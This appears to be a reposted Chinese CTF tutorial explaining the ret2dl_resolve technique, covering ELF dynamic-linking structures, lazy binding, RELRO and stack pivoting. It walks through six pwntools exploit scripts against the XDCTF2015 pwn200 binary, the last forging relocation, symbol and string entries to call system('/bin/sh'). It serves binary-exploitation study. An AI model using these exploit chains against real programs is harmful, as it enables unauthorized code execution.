文章目錄
- 從o開始的pwn學習之超詳細ret2dl_resolve
- 前置知識
- 需要用到的節
- _dll_runtime_resolve函式
- 延遲系結機制
- _dl_fixup()函式
- RELRO
- Full RELRO
- NO RELRO
- Partial RELRO
- _dll_runtime_resolve干了什么
- 實踐呼叫庫函式
- 實體
- 插一個有意思的小點,關于低地址gdb無法斷點除錯這件事
- call指令的誕生與消亡
- 堆疊遷移
- ret2dl_resolve
- level1
- EXP1
- level2
- 目標
- 計算 relloc_arg
- EXP2
- level3
- 思路
- EXP3
- level4
- 構造.dynsym
- 利用構造的dynsym反推出r_info
- r_info代表什么
- 推出r_info
- EXP
- level5
- EXP
- level 6
- Last EXP
- 參考文章
從o開始的pwn學習之超詳細ret2dl_resolve
前置知識
需要用到的節
.dynamic:是ld.so使用的動態鏈接資訊,在/etc/ld.so.conf檔案中存放著需要動態加載的目錄,使用ldconfig就可以將ld.so.conf中的指定目錄的庫檔案加載到記憶體中,并記錄在/etc/ld.so.cache檔案中,ld.so.1檔案就可以在高速快取中訪問動態庫檔案,提高訪問速度,匯入元件,可以在/etc/ld.so.conf檔案中配置,或者使用LD_LIBRARY_PATH環境變數進行參考,當然,看不懂的話只要了解其含有指向.dynstr, .dynsym, .rel.plt的指標就好
結構如下
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
而對每一個有該型別的object,d_tag控制著d_un的解釋,
而在ida里我們可以看到的dynamic如下,

而我們著重關注的是以下三個
* DT_STRTAB
處于.dynamic的地址加0x44的位置;
該元素保存著字串表地址,在第一部分有描述,包括了符號名,庫名,
和一些其他的在該表中的字串,指向.dynstr,
* DT_SYMTAB
處于.dynamic的地址加0x4c的位置;
該元素保存著符號表的地址,在第一部分有描述,對32-bit型別的檔案來
說,關聯著一個Elf32_Sym入口,指向.dynsym,
* DT_JMPREL
處于.dynamic的地址加0x84的位置;
假如存在,它的入口d_ptr成員保存著重定位入口(該入口單獨關聯著
PLT)的地址,假如lazy方式打開,那么分離它們的重定位入口讓動態連接
器在行程初始化時忽略它們,假如該入口存在,相關聯的型別入口DT_PLTRELSZ
和DT_PLTREL一定要存在,指向.rel.plt,
ld.so加載器:相應的組態檔是/etc/ld.so.conf,指定so庫的搜索路徑,是文本檔案,也可以通過定義$LD_LIBRARY_PATH的環境變數來指定程式運行時的.so檔案的搜索路徑,
動態裝載器(dynamic loader)
.dynstr:動態鏈接的字串表,保存動態鏈接所需的字串,比如符號表中的每個符號都有一個 st_name(符號名),他是指向字串表的索引,這個字串表可能就保存在 .dynstr,而.dynstr結構為正常的字串陣列,
.dynsym:動態鏈接的符號表,保存需要動態連接的符號表,而.dynsym結構如下
typedef struct
{
Elf32_Word st_name; //符號名,是相對.dynstr起始的偏移,這種參考字串的方式在前面說過了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;
.rel.plt:節的每個表項對應了所有外部程序呼叫符號的重定位資訊,而.rel.plt結構如下
typedef struct{
Elf32_Addr r_offset;//指向GOT表的指標,即該函式在got表的偏移
Elf32_Word r_info;
}Elf32_Rel
_dll_runtime_resolve函式
_dll_runtime_resolve是重定位函式,該函式會在行程運行時動態修改函式地址來達到重定位的效果,此函式無無延遲系結機制, 需要兩個引數,一個是 **reloc_arg ** ,就是函式自己的 plt 表項 push 的內容,一個是 link_map,這個是公共 plt 表項 push 進堆疊的,通過它可以找到.dynamic的地址
延遲系結機制
在程式運行時,有很多函式在程式執行時不會被用到,比如錯誤處理或者 用戶比較少用的功能模塊等,所以不需要所有函式在一開始就鏈接好,
延遲系結(Lazy Binding) 的基本思想是 函式第一次被呼叫時才進行系結(符號查找、重定位等),如果沒有則不進行系結,要實作 延遲系結 需要使用到名為 PLT(Procedure Linkage Table) 的方法,
而通常延遲系結機制又是通過呼叫 _dl_runtime_resolve函式來實作的,這也正是此函式沒有延遲系結的原因,
_dl_fixup()函式
_dl_fixup()函式在elf/dl_runtime.c中實作,用于決議匯入函式的真實地址,并改寫got表
RELRO
Full RELRO
禁用延遲系結,即所有的匯入符號在加載是便被決議,.got.plt段被完全初始化為目標函式的地址,并標記為只讀,很顯然,這種情況,我們幾乎用不了ret2dl_resolve的思路,
NO RELRO
這種情況就比較有意思了,由于關閉RELRO保護,使dynamic可寫,由于動態加載器是從.dynamic段的DT_STRTSB條目中來獲取.dynstr段的地址,此條目的位置是已知的,且可寫,于是我們可以改寫此條目的內容,欺騙動態裝載器,使其以為,dynstr段在.bss上,同時在此處偽造一個假的字串表,當其在決議函式時,就會是用不同的基地址找函式名,最終執行我們希望其執行的函式,
Partial RELRO
因為開啟Partial RELRO,使.dynamic段標記為只讀,不可寫,但我們知道relloc_arg對應ELF_REL在rel.plt段上的偏移,動態加載器將其加上rel.plt的基地址來得到目標ELF_REL的地址,然而,當這個記憶體地址超過了.rel.plt段,并達到.bss時,我們就可以在這里偽造一個ELF_REL,使r_offset是一個可寫的記憶體地址,來將決議后的函式地址寫到那里,同樣,使r_info的是一個能將動態裝載器導向攻擊者控制記憶體的下標,指向一個位于它后面的ELF_SYM,而ELF_SYM中的st_name指向我么希望執行的函式即可,
_dll_runtime_resolve干了什么
一定要看熟它!!!!看不懂多看幾遍
1.dl_runtime_resolve 有兩個引數,一個是 reloc_arg,存放著 Elf32_Rel 的指標對.rel.plt段的偏移量,一個是link_map,里面存放著一段地址,通過這段地址可以找到.dynamic段的地址
2通過 .dynamic 可以找到 .dynstr(+0x44)、.dynsym(+0x4c)、.rel.plt(+0x84) 的地址
3.rel.plt 的地址加上 reloc_arg 可以得到函式重定位表項 Elf32_Rel 的指標,里面存放著兩個變數 r_offset和r_info
4將 r_info>>8 可以得到 .dynsym 的下標
5.dynstr+這個下標(name_offset )得到的就是 st_name,而 st_name 存放的就是要呼叫函式的函式名
6在元件查找該函式后,把地址賦值給.rel.plt中對應條目的r_offset:指向對應got表的指標,賦值給GOT表后,一次函式的動態鏈接就完成了,
實踐呼叫庫函式
實體
我們用gdb除錯理解一下
參考文章
#include<stdio.h>
#include <unistd.h>
int main()
{
char buf[200];
setbuf(stdin, buf);
read(0, buf, 128);
puts(buf);
return 0;
}
用gcc -o dynamic -m32 -fno-stack-protector -g hello_pwn.c 編譯
插一個有意思的小點,關于低地址gdb無法斷點除錯這件事
一些簡單的代碼在某些環境下很可能被編譯為Position-Independent Executable (PIE)以允許Address Space Layout Randomization (ASLR).在某些系統上,gcc被配置為默認創建PIE(這意味著選項-pie -fPIE被傳遞給gcc).
啟動GDB來除錯PIE時,它開始從0讀取地址,因為您的可執行檔案尚未啟動,因此沒有重新定位(在PIE中,包括.text部分在內的所有地址都是可重定位的,它們從0開始,類似于動態共享物件).而運行之后則會重新定位為所謂的“實際地址”,
回到正題,運行后,
gdb除錯,下個斷點

來到call,si跟進

此刻我們跳轉到了函式自己的plt表項

可以看到先是jmp到ebx+0x10,看一眼這里是什么,

發現就是跳到下一行,然后push了一個0x8(_dll_runtime_resolve函式的relloc_arg引數(Elf_Rel在rel.plt中的偏移)),然后jmp到0x56556020,而這里便是公共的plt表項
讓我們跟進來到公共的plt表項

由此我們的以得到link_map的地址,而通過link_map的地址,我們可以由此找到.dynamic的地址,從而找到在,dynamic里的各種節的地址,而通過網上的資料,我們了解到第三個地址便是dynamic的地址,


通過前置知識,我們可知道.dynstr, .dynsym, .rel.plt的位置依序如下

.rel.plt的地址加上引數relloc_arg得到的地址即是重定位表項Elf32_Rel的指標,記作rel
而如下,我們可得到r_offset = 0x4010 (重定位前) ,r_info = 0x00000407

然后我們將r_info>>8,即0x00000207>>8 = 2作為.dynsym中的下標, 此時我們來到.dynsym的位置,去找找read函式的名字串偏移;
于是我們得到偏移量記為name_offset為0x1b,我們再用dynstr+偏移量就是這個函式的函式名的地址(st_name)
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳

在元件查找該函式后,把地址賦值給.rel.plt中對應條目的r_offset:指向對應got表的指標,賦值給GOT表后,把控制權返還給read,
于是除錯結束
call指令的誕生與消亡
眾所周知,執行call指令時會對堆疊進行初始化,開辟一塊空間給被呼叫的函式使用,而通常會用如下指令實作
push ebp #把ebp放進堆疊,即saved ebp
mov ebp,esp
而call命令結束的時候則將這塊空間還回去,以如下指令實作
leave
ret
其中leave命令又相當于mov esp,ebp ; pop ebp;
那么有意思的事情就來了,如果我們在執行leave命令之前,讓ebp指向一個我們所希望的地址,那么理論上,pop ebp;之后,esp將-1個單位(4或8位),然后繼續執行我么所希望地址上的函式,那么這就會很令人開心了,
而這個方法就是所謂的堆疊遷移,
堆疊遷移
由于存在堆疊溢位漏洞,我們可以把堆疊覆寫成如下

由于呼叫read函式會在fake_ebp1寫下0x100個位元組,我們稱此地址為fake_ebp2
read呼叫結束后esp來到回傳地址執行leave_ret

首先執行mov esp,ebp命令;執行結束后,esp和ebp暫存器里面的值相同,且都指向bss段的地址fake ebp1

然后執行pop ebp;命令,由于fake ebp1指向fake_ebp2,所以pop后ebp指向fake_ebp2,

執行pop后,esp會減一個單位,如果這里剛好有我們一不小心部署好的函式地址,那就比較令人開心了,因為隨后執行的ret命令,將會剛好執行此函式,
而這就是堆疊遷移的原理,
ret2dl_resolve
level1
以write函式舉例輸出“/bin/sh”字串,而既然write能輸出“/bin/sh”,那么理論上system也行,
于是要完成如上操作,主要有兩個步驟
1、堆疊遷移到 bss 段
rop.raw('a' * offset)
### 向新堆疊中寫0x100個位元組
rop.call('read',[0,base_stage,0x100])#基本等同于rop.read(0, base_stage, 0x100)
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
r.sendline(rop.chain())
2、控制 write 函式輸出相應的字串
sh = "/bin/sh"
rop.write(1, base_stage + 20, len(sh))
rop.raw(sh)
rop.raw('a' * (0x100 - len(rop.chain())))
可能大家對第二行有點蒙,但是如果說rop.write(1, base_stage + 20, len(sh))的長度便是二十是不是就可以理解了
EXP1
from pwn import *
elf = ELF('./pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #獲取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 將堆疊遷移到bss段
stack_size = 0x800
## 新堆疊空間大小為0x800
base_stage = bss_addr + stack_size
rop.raw('a' * offset)
### 向新堆疊中寫0x100個位元組
rop.call('read',[0,base_stage,0x100])#rop.read(0, base_stage, 0x100)
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())
## 利用write列印字串"/bin/sh"
rop = ROP('./pwn200.out')
Bin = "/bin/sh"
rop.call('write',[1, base_stage + 20, len(Bin)])#rop.write(1, base_stage + 20, len(Bin))
print(len(rop.chain()))#列印出20,說明長度為20,那么直接在base_stage + 20寫上"/bin/sh"作為write的第一個引數
rop.raw(Bin)
rop.raw('a' * (0x100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()
發現成功列印
level2
目標
而顯然要達到我們的最終目的使用如上方法顯然是行不通的,于是我們循序漸進,嘗試利用plt[0]中的push linkmap以及跳轉到dl_resolve函式中的決議指令來代替直接呼叫write函式的手法,對.rel.plt進行遷移,
而我們具體要做什么我們其實只需跳到plt0地址,然后輸入我們虛假的relloc_arg其實便可以呼叫write()函式了,
即模擬如下兩步
call 0x56556030 <setbuf@plt>
jmp DWORD PTR [ebx+0xc]#下一行
**push relloc_arg**
**jmp plt0**
push link_map
jmp dl_runtime_resovle
因此我們所需要的東西
1.plt0的地址
2.虛假的relloc_arg
那么plt0的地址我們可以通過**elf.get_section_by_name(’.plt’).header.sh_addr **找到,但relloc_arg需要我們計算出來
計算 relloc_arg
首先我們要知道.plt的作用是一個跳板,保存了某個符號在重定位表中的偏移量(用來第一次查找某個符號)和對應的.got.plt的對應的地址,于是我們明白.plt與.plt.rel一一對應,而.plt從結構體下標從1開始,.rel.plt的結構體下標是從0開始的,對應如下

根據上圖我們可以很清楚的了解到(write_plt-plt0)/16得到write在.plt的下標再減1可得到在.rel.plt的下標,而relloc_arg則在如上基礎乘8.
即relloc_arg=((elf.plt[‘write’] - plt0) / 16 - 1)*8
于是到這里我們便可以輕松的呼叫write了,
EXP2
from pwn import *
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #獲取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充緩沖區
rop.raw('a' * offset)
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())
rop = ROP('./pwn200.out')
BIN = "/bin/sh"
##獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
##計算write函式重定位索引
relloc_arg=((elf.plt['write'] - plt0) / 16 - 1)*8
print("plt0:")
print(plt0)
print("write_index:")
print(relloc_arg)
rop.raw(plt0)
relloc_arg1=int (relloc_arg)#這一步我也挺懵的,應該是rop.raw不能是float?
rop.raw(relloc_arg1)
## fake ret addr of write
rop.raw('bbbb') ##write函式回傳地址
rop.raw(1) ##write函式1參
rop.raw(base_stage + 24) ##write函式2參
rop.raw(len(BIN)) ##write函式3參
print("len:rop.chain():")
print(len(rop.chain()))#長度為24,所以可以在base_stage + 24寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level3
而接下來我們將要嘗試偽造一個ELF_REL結構體,使程式直接指向,而ELF_REL也不過就是.rel.plt的一個結構體,而該節的結構,我們在前置知識已經了解如下
typedef struct{
Elf32_Addr r_offset;//指向GOT表的指標,即對got表的偏移量
Elf32_Word r_info;
}Elf32_Rel
我們可以通過
readelf -r pwn200.out
得到該程式得到重定位資訊

這里記錄一個小點,有的師傅是用write_got = elf.got[‘write’]得到r_offset的,
思路
正常來說,我們是用.rel.plt+relloc_arg定位到ELF_REL的,所以有一個很簡單想法,在_dl_runtime_resolve函式沒有做邊界檢查的大前提下,我們可以將relloc_arg無限放大到.bss段上的偽ELF_REL,
我們設偽造偏移量偽fake_relloc,把偽造ELF_REL與base_stage的距離命名為offset,擁有小學數學水平的人也能夠很清楚的明白如下等式,base_stage+offset=.rel.plt+fake_relloc,即fake_relloc=.rel.plt+offset-base_stage.
那么現在我們唯一所需要的量就是offset了,有點難搞?列個表就清晰了,base_stage的內容如下,

因為是32位程式,所以每行為4位元組,那么到這里,我相信我們能憑借優秀的數數技術,數出offset為24.fake_relloc=.rel.plt+24-base_stage.
于是到這里,準備作業終于完成,
EXP3
from pwn import *
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #獲取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充緩沖區
rop.raw('a' * offset)
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())
# 列印字串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"
## 獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 獲取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
fake_relloc = base_stage + 24 - rel_plt
r_offset = 0x0804c01c
r_info = 0x607
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函式回傳地址
rop.raw(1)
rop.raw(base_stage + 32)
rop.raw(len(BIN))
rop.raw(r_offset)
rop.raw(r_info)
print("len:rop.chain():")
print(len(rop.chain()))#長度為32,所以可以在base_stage + 32寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level4
上一步我們在.bss段上偽造一個Elf_Rel,但聰明的孩子就會發現了,如果我們之后想呼叫system函式,那么r_info和r_offset肯定不能通過readelf讀出,r_offset比較好解決,直接用elf.got就可以得到,但r_info就沒這么容易了,那么我么下一步便要在.bss段上偽造一個dynsym,然后通過構造的dynsym反推出新的r_info.
構造.dynsym
根據前置知識,我們知道dynsym結構如下
typedef struct
{
Elf32_Word st_name; //符號名,是相對.dynstr起始的偏移,這種參考字串的方式在前面說過了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;
于是很明顯我們要是想構造一個dynsym,我們要知道st_name,st_value,st_size,st_info的數值,
通過readelf -a main讀出dynsym的下標

讀出下標為6,那么我們通過readelf -x .dynsym 讀出數值,

很明顯第七行即為write函式,st_name=0x42,st_value=0,st_size=0,st_info=0x12
利用構造的dynsym反推出r_info
總所周知r_info>>8=.dynsym中的下標,因此我們需要得到其下標
dynsym_index =(base_stage+24+8-dynsym)/16
但因為dynsym大小為16位元組,所以程式要找一個函式的dynsym節則要16個位元組16個位元組的找,所以正常來說我們的base_stage+24+8正確位置的可能性只有四分之一,說起來可能有點抽象來張圖解釋一下吧,

如上圖,只有當我們的base_stage+32在第一列的時候才能稱之為正確的地址,
欸嘿,當然憑借運氣的話,我們還是有可能攻擊成功的,但顯然,我們需要一種方法把這低的可憐的可能性提高一下,其實還是有挺多方法的,這里我們使用地址對齊即在偽造dynsym前加上一段垃圾資料,是我們構造的dynsym在一個正確的位置,那么垃圾資料的長度如何計算?
align = 0x10-((base_stage+24+8-dynsym)%16)
或
align = 0x10-((base_stage+24+8-dynsym)&0xf)
所以我們構造的dynsym的地址就是
fake_sym_addr = (0x10-((base_stage+24+8-dynsym)%16))+base_stage+24+8
或者
fake_sym_addr = (0x10-((base_stage+24+8-dynsym)& 0xf))+base_stage+24+8
于是該函式對于dynsym的下標為
dynsym_index =(fake_sym_addr-dynsym)/16
于是我們終于可以通過.dynsym結構體下標反推r_info了
r_info代表什么
r_info是0x?07的形式,其實稍微解釋一下,就是把偏移為?的匯入函式,07代表的是匯入函式的意思.
推出r_info
所以我們要做的就是將dynsym_index左移八位,再加上07識別符號就可以了
r_info = (dynsym_index<<8)+0x7
或
r_info = (dynsym_index<<8)|0x7 #因為bin(dynsym_index<<8)的后四位均為0所以與上0x7實際上就相當于加0x7
于是到這里我們終于準備好了,如果還有些模糊,再列個表表示堆疊布局如下

于是我們可以寫腳本了
EXP
from pwn import *
context.log_level = 'debug'
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #獲取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充緩沖區
rop.raw('a' * offset)
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())
# 列印字串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"
## 獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 獲取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 獲得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
## 偽造的dynsym
st_name=0x42
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意這里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用構造的dyndym地址反推r_info
print(r_info)
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函式回傳地址
rop.raw(1)
rop.raw(base_stage + 52)
rop.raw(len(BIN))
rop.raw(r_offset) ##構造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##構造的.dydnsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
print("len:rop.chain():")
print(len(rop.chain()))#長度為52,所以可以在base_stage + 52寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level5
有了如上的經驗,接下來就會很輕松了,加油,勝利就在眼前,我們可以繼續偽造.dynstr,而從前置知識,我們知道.dynstr就是普通的字串陣列,只需要偽造一個需呼叫函式的函式名的字串即可,如我們想要呼叫write函式即需要構造write函式的字串“write\x00”(.dynstr中每一段字串都以\x00結尾)
而同時我們可以通過構造的字串地址對于.dynstr的偏移來算出新的st_name.
我們可以得到如下公式并算出st_name
st_name = base_stage + 24 +8 +align +16 - .dynstr
即
st_name = fake_sym_addr - .dynstr
雖然這里并不是很抽象,但還是寫一下堆疊的布局吧

好了,那么我們愉快的寫exp吧
EXP
from pwn import *
context.log_level = 'debug'
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #獲取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充緩沖區
rop.raw('a' * offset)
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())
# 列印字串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh"
## 獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 獲取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 獲得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
## 獲得.dynstr地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
st_name = fake_sym_addr +16 - dynstr
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意這里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用構造的dyndym地址反推r_info
print(r_info)
print(st_name)
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函式回傳地址
rop.raw(1)
rop.raw(base_stage + 58)
rop.raw(len(BIN))
rop.raw(r_offset) ##構造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##構造的.dynsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
rop.raw('write\x00')##偽造的.dynstr
print("len:rop.chain():")
print(len(rop.chain()))#長度為58,所以可以在base_stage + 58寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

level 6
終于到了最后了,到現在,整個攻擊手法如下已經完成了
1.堆疊遷移到.bss段
2.偽造ELF_REL
3.偽造.dynsym
4.偽造.synstr
我們逐級遞進,而到這一步,我們要做的就是把write函式換為system函式,而聰明的同學已經發現了,因為之前的逐級遞進,我們現在并不用改什么了,只需要把我們偽造的.dynstr的字串換為’system\x00’就大功告成了,
堆疊布局如下

于是我們可以寫exp了
Last EXP
from pwn import *
context.log_level = 'debug'
elf = ELF('pwn200.out')
sh = process('./pwn200.out')
rop = ROP('./pwn200.out')
offset = 112
bss_addr = elf.bss() #獲取bss段首地址
sh.recvuntil('Welcome to XDCTF2015~!\n')
## 將堆疊遷移到bss段
## 新堆疊空間大小為0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### 填充緩沖區
rop.raw('a' * offset)
### 向新堆疊中寫100個位元組
##rop.read會自動完成read函式、函式引數、回傳地址的堆疊部署
rop.read(0, base_stage, 100)
### 堆疊遷移, 設定esp = base_stage
##rop.migrate會利用leave_ret自動部署遷移作業
rop.migrate(base_stage)
sh.sendline(rop.chain())
# 列印字串"/bin/sh"
rop = ROP('./pwn200.out')
BIN = "/bin/sh\0"##眾所周知一般的函式遇到 \0 才會結束讀取,所以為了防止system('/bin/shaaaaaaaa....aaaaa')的情況,我們要加上\0
## 獲取plt0地址
plt0 = elf.get_section_by_name('.plt').header.sh_addr
## 獲取.rel.plt地址
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## 獲得.dynsym地址
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
## 獲得.dynstr地址
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
align = 0x10-(base_stage+32-dynsym)%16
print(align)
fake_sym_addr = align + base_stage + 32
st_name = fake_sym_addr +16 - dynstr
st_value=0
st_size=0
st_info=0x12
fake_relloc = base_stage + 24 - rel_plt
r_offset = elf.got['write']
index_write = (fake_sym_addr - dynsym)/16 ##注意這里要用地板除,float不能左移
print(index_write)
r_info = (int(index_write)<<8)+0x7##利用構造的dyndym地址反推r_info
print(r_info)
print(st_name)
rop.raw(plt0)
rop.raw(fake_relloc)
rop.raw('bbbb') #write函式回傳地址
rop.raw(base_stage + 59)
rop.raw('aaaa')##事實上因為system只需要一個引數,另外兩個都不用寫,但為了不破壞原有的布局就填上垃圾資料即可
rop.raw('aaaa')
rop.raw(r_offset) ##構造的ELF_REL
rop.raw(r_info)
rop.raw('a'*align)
rop.raw(st_name) ##構造的.dynsym
rop.raw(st_value)
rop.raw(st_size)
rop.raw(st_info)
rop.raw('system\x00')##偽造的.dynstr
print("len:rop.chain():")
print(len(rop.chain()))#長度為58,所以可以在base_stage + 59寫上/bin/sh
rop.raw(BIN)
rop.raw('a' * (100 - len(rop.chain())))
sh.sendline(rop.chain())
sh.interactive()

參考文章
《程式員的自我修養》筆記4——動態鏈接
elf檔案型別六 Dynamic Section(動態section)
ld、ld.so命令和ld.so.conf組態檔
好好說話之ret2_dl_runtime_resolve
ok,完美收官,于是ret2dl_resolve的學習到這里終于結束了,真是一段漫長的時間,有問題歡迎各位師傅指出,另外,大家五一快樂!
轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/282345.html
標籤:其他
